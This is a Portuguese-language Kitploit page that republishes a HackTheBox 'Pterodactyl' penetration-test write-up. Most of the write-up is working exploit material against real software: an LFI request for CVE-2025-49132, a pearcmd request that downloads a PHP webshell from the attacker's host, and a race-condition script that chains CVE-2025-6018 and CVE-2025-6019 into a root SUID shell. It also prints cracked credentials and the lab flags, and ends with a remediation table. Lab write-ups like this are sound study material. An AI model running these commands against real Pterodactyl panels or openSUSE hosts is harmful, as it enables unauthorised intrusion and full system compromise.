Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → quebra de bcrypt → SSH. Privesc via CVE-2025-6018 (bypass do pam_environment do PAM) + CVE-2025-6019 (condição de corrida no redimensionamento XFS do udisks2, bypass de nosuid) → root. Notas completas e etapas incluídas. | Kitploit
Ferramentas/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Quebra de SenhasEscalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoCTF

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → quebra de bcrypt → SSH. Privesc via CVE-2025-6018 (bypass do pam_environment do PAM) + CVE-2025-6019 (condição de corrida no redimensionamento XFS do udisks2, bypass de nosuid) → root. Notas completas e etapas incluídas.

Testes de Penetração
Aprendizado e Educação
Labs e Prática
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

Ver Repositório
4há 5 mesesAinda não revisado
Compartilhar

Relatório de Teste de Penetração — HackTheBox: Pterodactyl

Data: 8 de abril de 2026
Alvo: Pterodactyl (HackTheBox)
Dificuldade: Média
SO: Linux (openSUSE Leap 15.6)
Testador: V0idW1re


Sumário Executivo

A máquina Pterodactyl no HackTheBox apresentou um cenário de ataque realista envolvendo uma aplicação web mal configurada e vulnerabilidades de escalação de privilégios encadeadas. Partindo de uma posição não autenticada, o testador obteve comprometimento total do root por meio de uma sequência lógica de etapas de exploração. A cadeia de ataque envolveu uma vulnerabilidade de inclusão local de arquivos (LFI) não autenticada, abuso criativo de um gerenciador de pacotes PHP para execução remota de código, extração e quebra de credenciais e, por fim, o encadeamento de dois CVEs divulgados publicamente para escalar de um usuário de baixo privilégio para root.


Escopo

CampoValor
IP do Alvo10.129.25.223
Hostnamepterodactyl.htb
SOopenSUSE Leap 15.6
ServiçosSSH (22), HTTP (80)
Subdomíniospanel.pterodactyl.htb

Metodologia

A avaliação seguiu uma metodologia padrão de teste de penetração:

  1. Reconhecimento e Enumeração de Serviços
  2. Análise da Aplicação Web
  3. Exploração Inicial
  4. Pós-Exploração e Movimentação Lateral
  5. Escalação de Privilégios
  6. Prova de Comprometimento

Achados

Achado 1 — Inclusão Local de Arquivos Não Autenticada (CVE-2025-49132)

Severidade: Crítica
Componente: Pterodactyl Panel v1.11.10 — endpoint /locales/locale.json

Descrição:
O endpoint de locales do Pterodactyl Panel não sanitizava os parâmetros de consulta locale e namespace, permitindo travessia de diretórios. Como a aplicação anexava .php ao valor de namespace e o carregava por meio do mecanismo de include do PHP, um atacante poderia forçar o servidor a carregar e executar arquivos PHP arbitrários no sistema de arquivos.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Impacto:
As credenciais do banco de dados foram extraídas de config/database.php:

  • Usuário: pterodactyl
  • Senha: PteraPanel
  • Banco de dados: panel

A chave da aplicação Laravel também foi extraída de config/app.php.

Evidência:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Achado 2 — Execução Remota de Código via pearcmd.php

Severidade: Crítica
Componente: Instalação do PEAR do PHP + LFI

Descrição:
Com a primitiva de LFI estabelecida, o testador explorou o script pearcmd.php do gerenciador de pacotes PEAR. Quando a configuração do PHP possui register_argc_argv=On (confirmado via phpinfo), a query string é interpretada como argumentos de linha de comando pelo pearcmd. O comando download foi usado para buscar um webshell PHP do servidor do atacante e salvá-lo no diretório web público do painel.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Impacto:
Um webshell PHP foi gravado em /var/www/pterodactyl/public/shell.php, fornecendo execução remota de código não autenticada como o usuário wwwrun.

Evidência:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Achado 3 — Credenciais de Banco de Dados em Texto Claro e Armazenamento Fraco de Senhas

Severidade: Alta
Componente: Banco de dados MySQL do painel

Descrição:
Usando o shell de RCE, o testador conectou-se ao banco de dados MySQL com as credenciais obtidas via LFI. A tabela users continha senhas com hash bcrypt para todos os usuários do painel. O hash do usuário phileasfogg3 foi quebrado offline usando uma wordlist comum.

Exploit:

root@kitploit:~
SELECT username, password FROM users;

Credencial Quebrada:

  • Usuário: phileasfogg3
  • Senha: !QAZ2wsx

Impacto:
O acesso SSH foi obtido como phileasfogg3, e a flag de usuário foi capturada:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Achado 4 — Bypass de Privilégio via Ambiente do PAM (CVE-2025-6018)

Severidade: Alta
Componente: Configuração do PAM — pam_env.so com user_readenv=1

Descrição:
A configuração do PAM no openSUSE Leap 15.6 carrega o arquivo ~/.pam_environment do usuário por meio do pam_env.so com user_readenv=1. Ao definir variáveis de ambiente específicas nesse arquivo, um usuário SSH sem privilégios pode enganar o systemd-logind e o Polkit para que a sessão seja considerada uma sessão de console físico ativa, obtendo assim privilégios allow_active.

Exploit:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Após reconectar via SSH, a sessão foi reconhecida como Active=yes, permitindo chamadas sem privilégios a métodos D-Bus do udisks2 que normalmente exigem presença física no console.

Evidência:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

Achado 5 — Condição de Corrida no Redimensionamento XFS do udisks2 (CVE-2025-6019)

Severidade: Crítica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Descrição:
Quando o udisks2 redimensiona um sistema de arquivos XFS via libblockdev, ele monta temporariamente a imagem do sistema de arquivos em um diretório acessível a todos os usuários em /tmp/blockdev.* sem os flags de montagem nosuid e nodev. Isso cria uma breve janela de condição de corrida durante a qual qualquer binário SUID presente na imagem pode ser executado com UID efetivo elevado.

Um atacante com privilégios Polkit allow_active (obtidos via CVE-2025-6018) pode:

  1. Criar uma imagem XFS contendo um binário bash SUID de propriedade do root
  2. Configurar um dispositivo de loop via udisksctl loop-setup
  3. Acionar o redimensionamento via D-Bus
  4. Competir para executar o binário SUID durante a janela de montagem temporária sem nosuid

Nota Crítica sobre Compatibilidade da Imagem XFS:
A imagem XFS deve ser criada com flags específicos para o openSUSE Leap 15.6 (SP5/SP6):

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit:

root@kitploit:~
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Evidência:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Flag de Root:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Prova de Acesso

FlagValor
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Resumo da Escalação de Privilégios

root@kitploit:~
[Unauthenticated]
    ↓ CVE-2025-49132 (LFI)
[Database Credentials]
    ↓ pearcmd RCE
[wwwrun shell]
    ↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
    ↓ CVE-2025-6018 (PAM bypass → allow_active)
    ↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]

Impacto

Comprometimento total do sistema alvo. Um atacante com esse nível de acesso poderia:

  • Ler, modificar ou excluir todos os arquivos do sistema
  • Instalar backdoors persistentes ou malware
  • Realizar pivô para outros sistemas na rede
  • Acessar todas as credenciais armazenadas e dados confidenciais
  • Interromper ou manipular serviços hospedados

Remediação


Este relatório foi produzido para fins educacionais como parte de um exercício de laboratório do HackTheBox. Todos os testes foram realizados em um ambiente de laboratório legal e isolado.

Baixar ferramenta
AchadoRemediação
CVE-2025-49132 (LFI)Atualize o Pterodactyl Panel para a v1.11.11 ou posterior, que aplica validação estritamente alfanumérica nos parâmetros locale/namespace
pearcmd RCEDefina register_argc_argv=Off no php.ini; remova o PEAR se não for necessário
Senha fracaAplique políticas de senha fortes; use um gerenciador de senhas
CVE-2025-6018 (PAM)Defina user_readenv=0 na configuração do PAM para pam_env.so
CVE-2025-6019 (udisks2)Atualize o udisks2 e o libblockdev para versões corrigidas; modifique a regra do Polkit para org.freedesktop.udisks2.modify-device alterando allow_active de yes para auth_admin